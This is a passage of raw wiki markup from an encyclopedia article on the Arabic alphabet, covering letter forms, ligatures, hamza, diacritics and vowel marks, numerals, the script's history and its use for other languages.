!rowspan=&quot;2&quot;|Phonetic Value (IPA)
|-
!Isolated
!Final
!Medial
!Initial
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0622&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0622;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE81&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE81;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE82&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE82;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|ʼalif madda}}
|{{ArabDIN|ʼā}}
|{{IPA|[ʔæː]}}
|- align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0629&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0629;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE93&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE93;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE94&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE94;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|tāʼ marbūṭa}}
|{{ArabDIN|h}} or {{ArabDIN|t}} / &lt;sup&gt;&lt;small&gt;h&lt;/small&gt;&lt;/sup&gt; / {{Unicode|ẗ}}
|{{IPA|[ɛ&amp;#x308;]}}, {{IPA|[ɛ&amp;#x308;t]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0649&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0649;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEEF&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEEF;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|ʼalif maqṣūra}} (Arabic)&lt;br /&gt;(see note below)
|{{ArabDIN|ā}} / {{Unicode|ỳ}}
|{{IPA|[ɛ&amp;#x308;]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;06CC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x06CC;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEEF&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEEF;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF3;}}&lt;/font&gt;
|{{ArabDIN|yeh}} (Farsi, Urdu)&lt;br /&gt;(see note below)
|{{ArabDIN|ā}} / {{Unicode|ỳ}}
|{{IPA|[ɛ&amp;#x308;]}}
|}

;Notes:
The {{ArabDIN|ʼalif maqṣūra}}, commonly using Unicode 0x0649 ({{Ar|ى}}) in Arabic, is sometimes replaced in [[Persian language|Persian]] or Urdu, with Unicode 0x06CC (ی), called &quot;Farsi Yeh&quot;.  This is appropriate to its pronunciation in those languages.  The glyphs are identical in isolated and final form (ﻯ ﻰ), but not in initial and medial form, in which the Farsi Yeh gains two dots below (ﻳ ﻴ) while the {{ArabDIN|ʼalif maqṣūra}} has neither an initial nor a medial form.

====Ligatures====
The only compulsory ligature is ''{{ArabDIN|lām}}'' + ''{{ArabDIN|ʼalif}}''. All other ligatures (''{{ArabDIN|yāʼ}}''+''{{ArabDIN|mīm}}'', etc.) are optional.
* (isolated) ''{{ArabDIN|lām}}'' + ''{{ArabDIN|ʼalif}}'' (''{{ArabDIN|lā}}'' {{IPA|[læː]}}) :
*: &lt;span style=&quot;line-height:180%;padding:10px;&quot;&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEFB;}}&lt;/font&gt;&lt;/span&gt;
* (final) ''{{ArabDIN|lām}}'' + ''{{ArabDIN|ʼalif}}'' (''{{ArabDIN|lā}}'' {{IPA|[læː]}}) :
*: &lt;span style=&quot;line-height:180%;padding:10px;&quot;&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEFC;}}&lt;/font&gt;&lt;/span&gt;

[[Unicode]] has a special glyph for the ligature ''{{ArabDIN|llāh}}'', the post-vocalic form of ''{{ArabDIN|[[Allāh]]}}'' (“God”).
* U+FDF2 ARABIC LIGATURE ALLAH ISOLATED FORM:
*: &lt;span style=&quot;line-height:180%;padding:10px;&quot;&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFDF2;}} (image: [[Image:Allah_glyph.png|28px]])&lt;/font&gt;&lt;/span&gt;
Combined with an initial ''{{ArabDIN|ʼalif}}'', this becomes full ''{{ArabDIN|allāh}}'' :
*: &lt;span style=&quot;line-height:180%;padding:10px;&quot;&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0627;&amp;#xFDF2;}}&lt;/div&gt;

The latter is a work-around for the shortcomings of most text processors, which are incapable of displaying the correct [[harakat|vowel marks]] for the word ''{{ArabDIN|[[Allāh]]}}'', because it should compose a small ''{{ArabDIN|ʼalif}}'' sign above a gemination ''{{ArabDIN|šadda}}'' sign). Compare the display of the composed equivalents below (the exact outcome will depend on your browser and font configuration):
* ''{{ArabDIN|lām}}'', (geminated) ''{{ArabDIN|lām}}'' (with implied short-a vowel), (vowel reversed) ''{{ArabDIN|hāʼ}}'' :
*: &lt;span style=&quot;line-height:180%;padding:10px;&quot;&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0644;&amp;#x0644;&amp;#x0647;}}&lt;/font&gt;&lt;/span&gt;
* ''{{ArabDIN|ʼalif}}'', ''{{ArabDIN|lām}}'', (geminated) ''{{ArabDIN|lām}}'' (with implied short-a vowel), (vowel reversed) ''{{ArabDIN|hāʼ}}'' :
*: &lt;span style=&quot;line-height:180%;padding:10px;&quot;&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0627;&amp;#x0644;&amp;#x0644;&amp;#x0647;}}&lt;/font&gt;&lt;/span&gt;

=== Hamza ===
{{main|hamza}}
Initially, the letter ''{{ArabDIN|ʼalif}}'' indicated an occlusive glottal, or glottal stop, transcribed by {{IPA|[ʔ]}}, confirming the alphabet came from the same [[Phoenician alphabet|Phoenician]] origin. Now it is used in the same manner as in other [[abjad]]s, with ''{{ArabDIN|yāʼ}}'' and ''{{ArabDIN|wāw}}'', as a ''mater lectionis'', that is to say, a consonant standing in for a long vowel (see below). In fact, over the course of time its original consonantal value has been obscured, since ''{{ArabDIN|ʼalif}}'' now serves either as a long vowel or as graphic support for certain diacritics (madda or hamza).*****

The Arabic alphabet now uses the ''[[hamza]]'' to indicate a [[glottal stop]], which can appear anywhere in a word.  This letter, however, does not function like the others: it can be written alone or on a support in which case it becomes a diacritic:

* alone: {{Ar|ء}} ; 
* with a support: {{Ar|إ, أ}} (above and under a ''{{ArabDIN|ʼalif}}''), {{Ar|ؤ}} (above a ''{{ArabDIN|wāw}}''), {{Ar|ئ}} (above a dotless ''{{ArabDIN|yāʼ}}''  or ''{{ArabDIN|yāʼ hamza}}'').

=== Diacritics ===

====Shadda====
{{main|shadda}}
''{{ArabDIN|šadda}}'' ( {{Ar|&amp;#x0651;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt; ) marks the [[gemination]] (doubling) of a consonant; an {{ArabDIN|kasra}} ( {{Ar|&amp;#x0650;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt; ) vowel sign (when present) moves to between the geminate (doubled) consonant and ''{{ArabDIN|šadda}}''.

The w-shaped ''{{ArabDIN|šadda}}'' glyph above the second consonnant that it geminates, is in fact the begining of a small ''{{ArabDIN|šīn}}'' letter.

{|class=&quot;wikitable&quot;
|-
!General&lt;br /&gt;Unicode
!Name
!Translit.
!Phonetic Value (IPA)
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0651&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0651;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|[[Shadda|šadda]]}}
|(consonnant doubled)
|{{IPA|[&amp;#x25CC;&amp;#x25CC;]}}
|}

====''Sukūn'' and ''ʼalif'' above====
An Arabic syllable can be open (ended by a vowel) or closed (ended by a consonant).
* open: CV[consonant-vowel] (long or short vowel)
* closed: CVC (short vowel only)

When the syllable is closed, we can indicate that the consonant that closes it does not carry a vowel by marking it with a sign called ''{{ArabDIN|sukūn}}'' ({{ar|ْ}}) to remove any ambiguity, especially when the text is not vocalised: it's necessary to remember that a standard text is only composed of series of consonants; thus, the word ''{{ArabDIN|qalb}}'', &quot;heart&quot;, is written ''{{ArabDIN|qlb}}''.

''{{ArabDIN|Sukūn}}'' allows us to know where not to place a vowel: ''{{ArabDIN|qlb}}'' could, in effect, be read ''/qVlVbV/'', but written with a ''sukūn'' over the ''{{ArabDIN|l}}'' and the ''{{ArabDIN|b}}'', it can only be interpreted as the form ''/qVlb/''; we write this {{Ar|قلْبْ}}. This is one stage from full vocalization, where the ''a'' vowel would also be indicated by a {{ArabDIN|fatḥa}}: {{Ar|قَلْبْ}}, 

The ''{{ArabDIN|[[Qur’an]]}}'' is traditionaly written in full vocalization. Outside of the ''{{ArabDIN|[[Qur’an]]}}'', putting a ''{{ArabDIN|sukūn}}'' above a ''{{ArabDIN|yāʼ}}'' which indicates {{IPA|[i:]}}, or above a ''{{ArabDIN|wāw}}'' which stands for {{IPA|[u:]}} is extremely rare, to the point that ''{{ArabDIN|yāʼ}}'' with sukūn will be unambiguously read as the diphthong {{IPA|[ai]}}, and ''{{ArabDIN|wāw}}'' with ''{{ArabDIN|sukūn}}'' will be read {{IPA|[au]}}.

The letters ''{{ArabDIN|m-w-s-y-q-ā}}'' ({{Ar|موسيقى}} with an ''{{ArabDIN|ʼalif maqṣūra}}'' at the end of the word)
will be read most naturally as the word ''{{ArabDIN|mūsīqā}}'' (“music”).  If you were to write ''{{ArabDIN|sukūns}}'' above the ''{{ArabDIN|wāw}}'', ''{{ArabDIN|yāʼ}}'' and ''{{ArabDIN|ʼalif}}'', you’d get {{Ar|وْسيْقىْ}}, which would be read as  ''{{ArabDIN|*mawsaykāy}}'' (note however that the final ''{{ArabDIN|ʼalif maqṣūra}}'' is an ''{{ArabDIN|ʼalif}}'' and never takes ''{{ArabDIN|sukūn}}'').  The word, entirely vocalised, would be written {{Ar|مُوْسِيْقَى}} in the ''{{ArabDIN|[[Qur’an]]}}'' (if it happened to appear there!), or {{Ar|مُوسِيقَى}} elsewhere.  (The Quranic spelling would have no ''{{ArabDIN|sukūn}}'' sign above the final ''{{ArabDIN|ʼalif maqṣūra}}'', but instead a miniature ''{{ArabDIN|ʼalif}}'' above the preceding ''{{ArabDIN|qaf}}'' consonant, which is a valid [[Unicode]] character but most Arabic computer fonts cannot in fact display this miniature ''{{ArabDIN|ʼalif}}'' as of 2006.)

A ''{{ArabDIN|sukūn}}'' is not placed on word-final consonants, even if no vowel is pronounced, because fully vocalised texts are always written as if  the ''[[i`rab]]'' vowels were in fact pronounced.  For example, ''{{ArabDIN|ʼaḥmad zawǧ šarr}}'', meaning “Ahmed is a bad husband”, for the purposes of Arabic grammar and orthography, is treated as if it was still pronounced with full ''i`rab'', i.e. ''{{ArabDIN|ʼaḥmadu zawǧun šarrun}}'' with the complete [[desinence]]s.

{|class=&quot;wikitable&quot;
|-
!General&lt;br /&gt;Unicode
!Name
!Translit.
!Phonetic Value (IPA)
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0652&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0652;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|[[sukūn]]}}
|(no vowel with this consonnant letter or&lt;br /&gt;diphtong with this long vowel letter)
|{{IPA|[]}} / {{IPA|[a&amp;#x0361;-]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0670&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0670;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|[[ʼalif]] above}}
|(no vowel with next final consonnant letter or&lt;br /&gt;diphtong with next final long vowel letter)
|{{IPA|[]}} / {{IPA|[a&amp;#x0361;-]}}
|}

====Vowels====
{{main|Harakat}}

Arabic short vowels are generally ''not'' written, except sometimes in sacred texts (such as the Qurʼan) and didactics, which are known as vocalised texts.  Occasionally short vowels are marked where the word would otherwise be ambiguous and cannot be resolved simply from context.

Short vowels may be written with [[diacritic|diacritics]] placed above or below the consonant that precedes them in the syllable. (All Arabic vowels, long and short, follow a consonant; contrary to appearances: there ''is'' a consonant at the start of a name like Ali  in Arabic ''{{ArabDIN|ʻAliyy}}''  or a word like ''{{ArabDIN|ʼalif}}''.)

Note that when the acute-shaped {{ArabDIN|fatḥa}} which denotes a short a is added on top of a geminated consonnant (i.e. after a {{ArabDIN|šadda}}), the fatha accent takes a vertical shape to make the composition more distinctable from the tanwiin vowel sign {{ArabDIN|fatḥatan}} (which marks a /-an/ ending with indeterminate nunation in fully vocalized texts, see below). For an example, see the encoded ligature for ''ʻAllah'' above.

{|class=&quot;wikitable&quot;
|-
!Short vowels&lt;br /&gt;(fully vocalized text)
!Name 
!Trans.
!Value 
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064E&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064E;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|fatḥa}}
|{{ArabDIN|a}}
|{{IPA|[ɛ&amp;#x308;]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064F&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064F;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|ḍamma}}
|{{ArabDIN|u}}
|{{IPA|[ʊ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0650&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0650;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|kasra}}
|{{ArabDIN|i}}
|{{IPA|[ɪ]}}
|}

Long &quot;a&quot; following a consonant other than hamzah is written with a short-&quot;a&quot; mark on the consonant plus an alif after it (''{{ArabDIN|ʼalif}}''). Long &quot;i&quot; is a mark for short &quot;i&quot; plus a yaa ''yāʼ'', and long u is mark for short u plus waaw, so aā = ā, iy = ī and uw = ū); long &quot;a&quot; following a hamzah sound may be represented by an alif-madda or by a floating hamzah followed by an alif.

In the table below, vowels will be placed above or below a dotted circle replacing a primary consonnant letter or shadda. Please note, that most consonnants (except 6 of them) do join to the left with ''{{ArabDIN|ʼalif}}'', ''{{ArabDIN|wāw}}'' and ''{{ArabDIN|yāʼ}}'' written then with their medial or final form. Additionally, the ''{{ArabDIN|yāʼ}}'' letter in the last row may connect to the letter on its left, and then will use a medial or initial form. For clarity in the table below, the primary letter on the left used to mark these long vowels are shown only in their isolated form. Use the tableof primary letters to look at their actual glyph and joining types.

{|class=&quot;wikitable&quot;
|-
!Long vowels&lt;br /&gt;(fully vocalized text)
!Name 
!Trans.
!Value 
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064E 0627&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064E;&amp;#x0627;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|fatḥa ʼalif}}
|{{ArabDIN|ā}}
|{{IPA|[æː]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064E 0649&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064E;&amp;#x0649;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|fatḥa ʼalif maqṣūra (Arabic)}}
|{{ArabDIN|ā}} / {{ArabDIN|aỳ}}
|{{IPA|[ɛ&amp;#x308;]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064E 06CC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064E;&amp;#x06CC;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|fatḥa yeh (Farsi, Urdu)}}
|{{ArabDIN|ā}} / {{ArabDIN|aỳ}}
|{{IPA|[ɛ&amp;#x308;]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064F 0648&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064F;&amp;#x0648;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|ḍamma wāw}}
|{{ArabDIN|ū}} / {{ArabDIN|uw}}
|[uː]
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0650 064A&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0650;&amp;#x064A;}}&lt;sup&gt;&lt;small style=&quot;color:#CCCCCC&quot;&gt;&amp;#x25CC;&lt;/small&gt;&lt;/sup&gt;&lt;/font&gt;
|{{ArabDIN|kasra yāʼ}}
|{{ArabDIN|ī}} / {{ArabDIN|iy}}
|[iː]
|}

In an un-vocalised text (one in which the short vowels are not marked), the long vowels are represented by the consonnant in question : {{ArabDIN|ʼalif}}, {{ArabDIN|ʼalif maqṣūra}} (or {{ArabDIN|yeh}}), {{ArabDIN|wāw}}, {{ArabDIN|yāʼ}}. Long vowels written in the middle of a word of un-vocalized text are treated like consonants taking ''sukūn'' (see below) in a text that has full diacritics. Here also, the table shows long vowel letters only in isolated form for clarity.

{|class=&quot;wikitable&quot;
|-
!Long vowels&lt;br /&gt;(un-vocalized text)
!Name 
!Trans.
!Value 
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0627&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0627;}}&lt;/font&gt;
|{{ArabDIN|(implied fatḥa) ʼalif}}
|{{ArabDIN|ā}}
|{{IPA|[æː]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0649&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0649;}}&lt;/font&gt;
|{{ArabDIN|(implied fatḥa) ʼalif maqṣūra (Arabic)}}
|{{ArabDIN|ā}} / {{ArabDIN|aỳ}}
|{{IPA|[ɛ&amp;#x308;]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;06CC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x06CC;}}&lt;/font&gt;
|{{ArabDIN|(implied fatḥa) yeh (Farsi, Urdu)}}
|{{ArabDIN|ā}} / {{ArabDIN|aỳ}}
|{{IPA|[ɛ&amp;#x308;]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0648&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0648;}}&lt;/font&gt;
|{{ArabDIN|(implied ḍamma) wāw}}
|{{ArabDIN|ū}} / {{ArabDIN|uw}}
|[uː]
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064A&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064A;}}&lt;/font&gt;
|{{ArabDIN|(implied kasra) yāʼ}}
|{{ArabDIN|ī}} / {{ArabDIN|iy}}
|[iː]
|}

{|
|-
| COLSPAN=2 | ''tanwiin letters:''
|-
| WIDTH=50 | {{Ar|ـًـٍـٌ}}
| used to produce the grammatical endings {{ArabDIN|/-an/, /-in/,}} and {{ArabDIN|/-un/}} respectively for [[desinence]]s with [[nunation]] in indefinite state (see [[I`rab]]) in classical Arabic (these desinences are no more spelled used in modern languages). {{Ar|ًـً}}  is usually used in combination with {{Ar|ا}} ‎ ({{Ar|ـًا}}) or taa marbuta.
|}

==  Numerals  == 
{{main|Eastern Arabic numerals}}
There are two kinds of numerals used in Arabic writing; standard numerals and &quot;East Arab&quot; numerals, used in [[Iran]], [[Pakistan]] and [[India]].  In Arabic, these numbers are referred to as &quot;Indian numbers&quot; ({{Ar|أرقام هندية}} ''{{ArabDIN|arqām hindiyyah}}'').  In most of present-day North Africa, the usual Western numerals are used; in medieval times, a slightly different set (from which, via Italy, Western &quot;Arabic numerals&quot; derive) was used. Unlike Arabic alphabetic characters, Arabic numerals are written from left to right.
{|
|-
|
{|
|-
| colspan=&quot;2&quot; | Standard numerals
|-
| &lt;font size=+2&gt;{{Arabiyyah|٠}}&lt;/font&gt; ||  0
|-
| &lt;font size=+2&gt;{{Arabiyyah|١}}&lt;/font&gt; ||  1
|-
| &lt;font size=+2&gt;{{Arabiyyah|*٢}}&lt;/font&gt; ||  2
|-
| &lt;font size=+2&gt;{{Arabiyyah|٣}}&lt;/font&gt; ||  3
|-
| &lt;font size=+2&gt;{{Arabiyyah|٤}}&lt;/font&gt; ||  4
|-
| &lt;font size=+2&gt;{{Arabiyyah|٥}}&lt;/font&gt; ||  5
|-
| &lt;font size=+2&gt;{{Arabiyyah|٦}}&lt;/font&gt; ||  6
|-
| &lt;font size=+2&gt;{{Arabiyyah|٧}}&lt;/font&gt; ||  7
|-
| &lt;font size=+2&gt;{{Arabiyyah|٨}}&lt;/font&gt; ||  8
|-
| &lt;font size=+2&gt;{{Arabiyyah|٩}}&lt;/font&gt; ||  9
|}
|
{|
|-
| colspan=&quot;2&quot; | East Arab numerals
|-
| &lt;font size=+2&gt;{{Arabiyyah|۰}}&lt;/font&gt; ||  0
|-
| &lt;font size=+2&gt;{{Arabiyyah|۱}}&lt;/font&gt; ||  1
|-
| &lt;font size=+2&gt;{{Arabiyyah|۲}}&lt;/font&gt; ||  2
|-
| &lt;font size=+2&gt;{{Arabiyyah|۳}}&lt;/font&gt; ||  3
|-
| &lt;font size=+2&gt;{{Arabiyyah|۴}}&lt;/font&gt; ||  4
|-
| &lt;font size=+2&gt;{{Arabiyyah|۵}}&lt;/font&gt; ||  5
|-
| &lt;font size=+2&gt;{{Arabiyyah|۶}}&lt;/font&gt; ||  6
|-
| &lt;font size=+2&gt;{{Arabiyyah|۷}}&lt;/font&gt; ||  7
|-
| &lt;font size=+2&gt;{{Arabiyyah|۸}}&lt;/font&gt; ||  8
|-
| &lt;font size=+2&gt;{{Arabiyyah|۹}}&lt;/font&gt; ||  9
|}
|}

In addition, the Arabic alphabet can be used to represent numbers ([[Abjad numerals]]), a usage rare today. This usage is based on the [[#Abjadi order|Abjadi order]] of the alphabet. ''{{Semxlit|ʼalif}}'' is 1, {{Arabiyyah|ب}} ''{{Semxlit|bāʼ}}'' is 2, {{Arabiyyah|ج}} ''{{Semxlit|ǧīm}}'' is 3, and so on until {{Arabiyyah|ي}} ''{{Semxlit|yāʼ}}'' = 10, {{Arabiyyah|ك}} ''{{Semxlit|kāf}}'' = 20, {{Arabiyyah|ل}} ''{{Semxlit|lām}}'' = 30, ... {{Arabiyyah|ر}} ''{{Semxlit|rāʼ}}'' = 200, ..., {{Arabiyyah|غ}} ''{{Semxlit|ġayn}}'' = 1000.  This is sometimes used to produce [[chronogram]]s. *Standard form of number 2 in Egypt is slightly different

== History ==
{{main|History of the Arabic alphabet}}

The Arabic alphabet can be traced back to the [[Nabatean alphabet]] used to write the [[Nabataean]] dialect of [[Aramaic]], itself descended from Phoenician. The first known text in the Arabic alphabet is a late fourth-century inscription from [[Jabal Ram]] (50 km east of [[Aqaba]]), but the first dated one is a trilingual inscription at [[Zebed]] in [[Syria]] from 512.  However, the [[epigraph]]ic record is extremely sparse, with only five certainly [[pre-Islamic Arabic inscriptions]] surviving, though some others may be pre-Islamic. Later, dots were added above and below the letters to differentiate them (the Aramaic model had fewer phonemes than the Arabic, and some originally distinct Aramaic letters had become indistinguishable in shape, so in the early writings 15 distinct letter-shapes had to do duty for 28 sounds!)  The first surviving document that definitely uses these dots is also the first surviving Arabic [[papyrus]] ([[PERF 558]]), dated April 643, although they did not become obligatory until much later. Important texts like the [[Qur'an|Qurʼan]] were frequently [[memorization|memorized]]; this practice, which survives even today, probably arose partially from a desire to avoid the great ambiguity of the script.

Yet later, vowel signs and [[hamza]]s were added, beginning sometime in the last half of the [[seventh century]], roughly contemporaneous with the first invention of Syriac and Hebrew [[vocalization]].  Initially, this was done by a system of red dots, said to have been commissioned by an [[Umayyad]] governor of [[Iraq]], [[Hajjaj ibn Yusuf]]: a dot above = ''{{Semxlit|a}}'', a dot below = ''{{Semxlit|i}}'', a dot on the line = ''{{Semxlit|u}}'', and doubled dots gave ''tanwin''.  However, this was cumbersome and easily confusable with the letter-distinguishing dots, so about 100 years later, the modern system was adopted.  The system was finalized around 786 by [[al-Farahidi]].

==Arabic alphabets of other languages==
Arabic script has been adopted for use in a wide variety of languages other than Arabic, including [[Persian language|Persian]], [[Kurdish language|Kurdish]], [[Malay language|Malay]] and [[Urdu language|Urdu]].  Such adaptations may feature altered or new characters to represent [[phoneme]]s that do not appear in Arabic [[phonology]]. For example, the Arabic language lacks a {{IPA|[p]}} phoneme, so many languages add their own letter to represent {{IPA|[p]}} in the script, though the specific letter used varies from language to language.  These modifications tend to fall into groups: all the [[India]]n and [[Turkic languages|Turkic]] languages written in Arabic script tend to use the [[Persian alphabet|Persian modified letters]]]); whereas [[West Africa]]n languages tend to imitate those of [[Ajami script|Ajami]], and [[Indonesia]]n ones those of [[Jawi]]. The modified version of the Arabic script originally devised for use with Persian is known as the '''[[Perso-Arabic script]]''' by scholars.

=== Current uses of the alphabet for other languages ===

The Arabic alphabet is currently used for:  

* [[Kurdish language|Kurdish]] and [[Turkmen language|Turkmen]] in Northern [[Iraq]].  (In [[Turkey]], the [[Latin alphabet]] is now used for Kurdish);
* [[Official language]] [[Persian language|Persian]] and regional languages including [[Azeri language|Azeri]], [[Sorani|Sorani-Kurdish]] and [[Baluchi]] in [[Iran]];
* Official languages [[Dari (Afghanistan)|Dari]] and [[Pashto language|Pashto]] and regional languages including [[Uzbek language|Uzbek]] in [[Afghanistan]];
* Official language [[Urdu language|Urdu]] and regional languages including [[Punjabi language|Punjabi]] (where the script is known as [[Shahmukhi]]), [[Sindhi language|Sindhi]], [[Kashmiri language|Kashmiri]], and [[Baluchi language|Baluchi]] in [[Pakistan]];
